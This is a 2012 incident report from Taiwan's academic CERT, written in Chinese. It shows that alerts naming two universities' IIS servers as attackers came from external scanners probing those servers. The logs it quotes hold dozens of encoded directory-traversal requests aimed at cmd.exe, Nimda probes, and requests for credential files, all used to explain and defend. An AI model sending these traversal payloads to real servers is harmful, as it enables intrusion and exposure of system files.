個案分析-

HTTP_Windows_Executable

事件分析報告

TACERT 臺灣學術網路危機處理中心團隊製

2012/4

事件說明

K 大學與 I 大學，於一個月內連續收到好幾張極為相似的 EWA 通知單，相似處如下列：

- 攻擊類型皆為 HTTP_Windows_Executable
- 兩個學校被開單的網路位址都在同一個 LAN
- 各自攻擊目標相同
- 來源埠號都是 80

細節如表 1 表 2 表 3 所列：

表 1

時間	單位	數量	來源網段	Src_port	攻擊目標
04/06 - 04/07	K 大學	8	192.168.0.0/24	80	66.0.10.113
03/28 - 04/17	I 大學	18	10.0.191.0/24	80	113.135.193.230

K 大學被開單的 8 個 IP 為：

表 2、K 大學

192.168.0.94
192.168.0.61
192.168.0.68
192.168.0.48
192.168.0.88
192.168.0.130
192.168.0.176
192.168.0.195

表 3、I 大學

10.0.191.166
10.0.191.28
10.0.191.196
10.0.191.44
10.0.191.31
10.0.191.94
10.0.191.67

10.0.191.55
10.0.191.90
10.0.191.153
10.0.191.47
10.0.191.4
10.0.191.16
10.0.191.57
10.0.191.56
10.0.191.20
10.0.191.95
10.0.191.88

這 8 台主機皆為架有 IIS 的 WIN 平台，K 大學網管對八台主機進行掃毒和檢查，發現電腦裡並無任何惡意程式。八台電腦與 66.0.10.113 有連線的時間只有幾分鐘，由於 ASOC 提供的佐證其攻擊行為都是由 192.168.0.xxx 的 port 80 出去，所以初步研判可能與主機上的 IIS 有關。

在 192.168.0.88、192.168.0.130、192.168.0.195 三主機的 IIS Log，發現與 66.0.10.113 相關的紀錄顯示，66.0.10.113 對此三台主機進行 Web Server 暴力掃描，其 IIS Log 如圖一、二、三，I 大學的 Web Server 也有同樣的 log。

圖四則顯示 113.135.193.230 對 10.0.0.0/16 網域的多台 Web Server 進行攻擊。由這些紀錄可以說明，66.0.10.113 與 113.135.193.230 並不是受攻擊的目標，而是攻擊方。

```
2012-04-06 02:18:47       .0.88 GET /.........../autoexec.bat - 80 - 66.0.10.113 - 404
2012-04-06 02:18:49       .0.88 GET /_AuthChangeUrl - 80 - 66.0.10.113 - 404
2012-04-06 02:18:51       .0.88 GET /_mem_bin/..?../..?../..?../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:18:51       .0.88 GET /_mem_bin/..<C0><AF>../..<C0><AF>../..<C0><AF>../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 6
2012-04-06 02:18:52       .0.88 GET /_mem_bin/..?..?..?../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:18:52       .0.88 GET /_AuthChangeUrl - 80 - 66.0.10.113 - 404
2012-04-06 02:18:52       .0.88 GET /_mem_bin/..<C0><AF>..<C0><AF>..<C0><AF>../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:18:52       .0.88 GET /iisstart.htm PageServices 80 - 66.0.10.113 - 200
2012-04-06 02:18:52       .0.88 GET /_mem_bin/..?..?..?../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:18:53       .0.88 GET /_mem_bin/..?../..?../..?../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:18:53       .0.88 GET /_mem_bin/..?..?..?../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:18:53       .0.88 GET /_mem_bin/.._../winnt/system32/cmd.exe /c+dir 80 - 66.0.10.113 - 404
2012-04-06 02:18:55       .0.88 GET /scripts/..?../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
2012-04-06 02:18:56       .0.88 GET /msadc/..?../..?../..?../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
2012-04-06 02:18:56       .0.88 GET /_mem_bin/..?../..?../..?../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:18:56       .0.88 GET /_private/form_results.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:18:57       .0.88 GET /_private/orders.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:18:59       .0.88 GET /scripts/..?../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
2012-04-06 02:18:59       .0.88 GET /_private/registrations.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:19:00       .0.88 HEAD /iisstart.htm - 80 - 66.0.10.113 - 200
2012-04-06 02:19:00       .0.88 GET /_private/register.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:19:01       .0.88 GET /_vti_bin/..?../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:19:03       .0.88 GET /_vti_bin/..?..?..?../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:19:03       .0.88 GET /_private - 80 - 66.0.10.113 - 404
2012-04-06 02:19:03       .0.88 GET /msadc/..?../..?../..?../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
```

圖一、192.168.0.88 的 IIS Log（由 K 大學提供）

```
2012-04-06 02:22:25 GET /_vti_bin/fpcount.exe - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:25 GET /_vti_bin/_vti_aut/dvwssr.dll - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:29 GET /_vti_bin/fpexe - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:32 GET /_vti_bin/shtml.dll/_vti_rpc - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:34 GET /_vti_bin/shtml.dll - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:37 GET /_vti_bin/shtml.exe - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:38 GET /_vti_pvt - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:41 GET /_vti_inf.html - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:41 GET /_vti_pvt/ - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:46 GET /_vti_pvt/administrator.pwd - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:47 GET /_vti_pvt/administrators.pwd - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:54 GET /_vti_pvt/author.log - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:56 GET /_vti_pvt/doctodep.btr - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:56 GET /_vti_pvt/service.grp - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /_vti_pvt/shtml.dll - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /_vti_pvt/users.pwd - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /Admin_files/order.log - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /_vti_pvt/shtml.exe - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /admisapi/fpadmin.htm - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /_vti_pvt/service.pwd - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /adsamples/config/site.csc - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:57 GET /AdvWorks/equipment/catalog_type.asp - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:58 GET /abczxv.htw - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:58 GET /app.cfm - 80 - 66.0.10.113 - 404 0
2012-04-06 02:22:58 GET /autoexec.bat - 80 - 66.0.10.113 - 404 0
```

圖二、192.168.0.130 的 IIS Log（由 K 大學提供）

```
2012-04-06 02:22:11       .0.195 GET /_mem_bin/..%3F../..%3F../..%3F../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:22:12       .0.195 GET /_mem_bin/..%E5%B6%B8..%E5%B6%B8..%E5%B6%B8../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:22:12       .0.195 GET /_mem_bin/..%E5%B6%B8../..%E5%B6%B8../..%E5%B6%B8../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66
2012-04-06 02:22:14       .0.195 GET / PageServices 80 - 66.0.10.113 - 200
2012-04-06 02:22:14       .0.195 GET /_mem_bin/..%3F..%3F..%3F../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:22:14       .0.195 GET /_AuthChangeUrl - 80 - 66.0.10.113 - 200
2012-04-06 02:22:14       .0.195 GET /_mem_bin/..%3F../..%3F../..%3F../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:22:14       .0.195 GET /_mem_bin/..%3F..%3F..%3F../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:22:15       .0.195 GET /_mem_bin/..%3F../..%3F../..%3F../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:22:15       .0.195 GET /scripts/..%3F../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
2012-04-06 02:22:16       .0.195 GET /scripts/..%3F../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
2012-04-06 02:22:16       .0.195 GET /msadc/..%3F../..%3F../..%3F../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
2012-04-06 02:22:16       .0.195 GET /_mem_bin/..._../winnt/system32/cmd.exe /c+dir 80 - 66.0.10.113 - 404
2012-04-06 02:22:16       .0.195 GET /msadc/..%3F../..%3F../..%3F../winnt/system32/cmd.exe /c 80 - 66.0.10.113 - 404
2012-04-06 02:22:17       .0.195 GET /_private - 80 - 66.0.10.113 - 200
2012-04-06 02:22:17       .0.195 GET /_private/form_results.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:22:17       .0.195 GET /_private/orders.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:22:17       .0.195 GET /_private/register.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:22:17       .0.195 GET /_private/registrations.txt - 80 - 66.0.10.113 - 404
2012-04-06 02:22:18       .0.195 GET /_vti_bin/..%3F..%3F..%3F../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
2012-04-06 02:22:18       .0.195 GET /_vti_bin/..%3F../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:22:18       .0.195 GET /_vti_bin/..%3F../..%3F../..%3F../winnt/system32/cmd.exe /c+dir%20c:\ 80 - 66.0.10.113 - 404
2012-04-06 02:22:18       .0.195 GET /_vti_bin/..%E5%B6%B8..%E5%B6%B8..%E5%B6%B8../winnt/system32/cmd.exe - 80 - 66.0.10.113 - 404
```

圖三、192.168.0.195 的 IIS Log（由 K 大學提供）

開始時間	名稱	攻擊者位址	攻擊者埠	目標位址	目標	要求 URL
18 四月 2012 08:38:41 CST	HTTP_Windows_Executable	113.135.193.230	1550	10.0.166.28	80	/scripts/..%c1%9c../winnt/system32/cmd.exe
18 四月 2012 08:38:37 CST	HTTP_Windows_Executable	113.135.193.230	1499	10.0.166.28	80	/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
18 四月 2012 08:38:34 CST	HTTP_Windows_Executable	113.135.193.230	1444	10.0.166.28	80	/d/winnt/system32/cmd.exe
18 四月 2012 08:38:32 CST	HTTP_Windows_Executable	113.135.193.230	1432	10.0.166.28	80	/c/winnt/system32/cmd.exe
18 四月 2012 08:38:31 CST	HTTP_Nimda_Worm	113.135.193.230	1425	10.0.166.28	80	/MSADC/root.exe
17 四月 2012 16:44:06 CST	HTTP_Windows_Executable	113.135.193.230	2884	10.0.186.120	80	/scripts/..%%35c../winnt/system32/cmd.exe
17 四月 2012 16:44:05 CST	HTTP_Windows_Executable	113.135.193.230	2867	10.0.186.120	80	/scripts/..%%35%63../winnt/system32/cmd.exe
17 四月 2012 16:44:04 CST	HTTP_Windows_Executable	113.135.193.230	2856	10.0.186.120	80	/scripts/..%c1%9c../winnt/system32/cmd.exe
17 四月 2012 16:43:58 CST	HTTP_Windows_Executable	113.135.193.230	2759	10.0.186.120	80	/scripts/..%255c../winnt/system32/cmd.exe
17 四月 2012 16:43:54 CST	HTTP_Nimda_Worm	113.135.193.230	2712	10.0.186.120	80	/MSADC/root.exe
18 四月 2012 03:18:06 CST	HTTP_Windows_Executable	113.135.193.230	1218	10.0.191.13	80	/scripts/..%252f../winnt/system32/cmd.exe
18 四月 2012 03:04:32 CST	HTTP_Windows_Executable	113.135.193.230	3211	10.0.191.13	80	/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
18 四月 2012 03:01:28 CST	HTTP_Windows_Executable	113.135.193.230	1233	10.0.191.13	80	/scripts/..%255c../winnt/system32/cmd.exe
18 四月 2012 04:10:25 CST	HTTP_Windows_Executable	113.135.193.230	2517	10.0.191.18	80	/scripts/..%c0%af../winnt/system32/cmd.exe
18 四月 2012 04:10:25 CST	HTTP_Windows_Executable	113.135.193.230	0	10.0.191.18	80	/scripts/..%c0%af../winnt/system32/cmd.exe
18 四月 2012 04:10:24 CST	HTTP_Windows_Executable	113.135.193.230	2471	10.0.191.18	80	/scripts/..%c0%2f../winnt/system32/cmd.exe
18 四月 2012 04:10:21 CST	HTTP_Windows_Executable	113.135.193.230	2309	10.0.191.18	80	/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
17 四月 2012 21:19:28 CST	HTTP_Windows_Executable	113.135.193.230	2015	10.0.191.195	80	/scripts/..%255c../winnt/system32/cmd.exe
18 四月 2012 05:27:50 CST	HTTP_Windows_Executable	113.135.193.230	2499	10.0.191.35	80	/scripts/..%%35%63../winnt/system32/cmd.exe
18 四月 2012 05:27:50 CST	HTTP_Windows_Executable	113.135.193.230	0	10.0.191.35	80	/scripts/..%%35%63../winnt/system32/cmd.exe
18 四月 2012 05:27:42 CST	HTTP_Windows_Executable	113.135.193.230	2391	10.0.191.35	80	/d/winnt/system32/cmd.exe
18 四月 2012 05:27:41 CST	HTTP_Windows_Executable	113.135.193.230	2385	10.0.191.35	80	/c/winnt/system32/cmd.exe
18 四月 2012 05:27:40 CST	HTTP_Nimda_Worm	113.135.193.230	2376	10.0.191.35	80	/MSADC/root.exe
18 四月 2012 02:06:50 CST	HTTP_Windows_Executable	113.135.193.230	1577	10.0.191.4	80	/scripts/..%c0%af../winnt/system32/cmd.exe
18 四月 2012 02:05:20 CST	HTTP_Windows_Executable	113.135.193.230	4472	10.0.191.4	80	/scripts/..%c0%2f../winnt/system32/cmd.exe
18 四月 2012 10:10:07 CST	HTTP_Windows_Executable	113.135.193.230	4588	10.0.191.85	80	/scripts/..%c1%1c../winnt/system32/cmd.exe
18 四月 2012 10:07:06 CST	HTTP_Windows_Executable	113.135.193.230	2432	10.0.191.85	80	/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe

圖四、與 113.135.193.230 有關的 ISS Log（由國網提供）

K 大學在 192.168.0.0/24 網段架有 Honey Pot，偵測到 66.0.10.113 對網域進行掃描之後，便立即對 66.0.10.113 進行封鎖的動作，所以開單日期僅有兩天。I 大學在 TACERT 告知 113.135.193.230 其實是掃描 web server 的攻擊者之後，也對 113.135.193.230 進行封鎖。但由於攻擊者只要更換 IP，攻擊仍可以實現，在這個部份只能仰賴網管人員對轄下的網域活動進行偵測。

建議事項

- 建議發單單位對偵測 HTTP_Windows_Executable 攻擊的 rule 進行調整
- 建議學校發現有掃描攻擊出現時，封鎖攻擊者 IP，以免洩漏更多網域資訊
- 對 Web Server 的設定進行安全性檢查，避免攻擊者可以改變目錄位置讀取到系統的命令提示字元
- 建議重要的 Web Server Log 應每天進行檢查